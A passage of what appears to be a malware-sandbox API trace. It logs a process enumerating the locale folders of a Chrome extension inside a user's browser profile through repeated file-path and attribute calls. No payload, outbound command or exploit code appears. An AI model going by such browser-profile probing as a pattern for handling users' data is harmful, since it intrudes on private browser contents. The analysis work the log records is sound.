lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", lpFilePart=0x0) returned 0x7d [0069.911] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.911] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", lpFilePart=0x0) returned 0x7d [0069.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee39ed60, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3a1470, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3a1470, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", lpFilePart=0x0) returned 0x7d [0069.911] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.912] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", lpFilePart=0x0) returned 0x7d [0069.912] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.912] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.912] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", lpFilePart=0x0) returned 0x7d [0069.912] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3a6290, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3a89a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3a89a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.913] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", lpFilePart=0x0) returned 0x7d [0069.913] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.913] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", lpFilePart=0x0) returned 0x7d [0069.914] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.914] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", lpFilePart=0x0) returned 0x7d [0069.914] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3afed0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3b25e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3b25e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", lpFilePart=0x0) returned 0x7d [0069.914] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.914] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", lpFilePart=0x0) returned 0x7d [0069.914] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.914] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.914] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", lpFilePart=0x0) returned 0x7d [0069.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3b7400, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3b9b10, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3b9b10, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", lpFilePart=0x0) returned 0x7d [0069.915] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.915] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.915] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", lpFilePart=0x0) returned 0x7d [0069.915] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.916] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", lpFilePart=0x0) returned 0x7d [0069.916] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3be930, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3c1040, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3c1040, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", lpFilePart=0x0) returned 0x7d [0069.916] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.916] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", lpFilePart=0x0) returned 0x7d [0069.916] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.916] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.916] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", lpFilePart=0x0) returned 0x7d [0069.916] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3c5e60, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3c8570, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3c8570, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", lpFilePart=0x0) returned 0x7d [0069.917] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.917] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja", lpFilePart=0x0) returned 0x7d [0069.917] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.917] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", lpFilePart=0x0) returned 0x7d [0069.917] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3cd390, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3cfaa0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3cfaa0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", lpFilePart=0x0) returned 0x7d [0069.918] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.918] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka", lpFilePart=0x0) returned 0x7d [0069.918] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.918] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", lpFilePart=0x0) returned 0x7d [0069.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3d48c0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee3d6fd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee3d6fd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", lpFilePart=0x0) returned 0x7d [0069.919] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.919] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km", lpFilePart=0x0) returned 0x7d [0069.919] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.919] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn", lpFilePart=0x0) returned 0x7d [0069.919] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn" 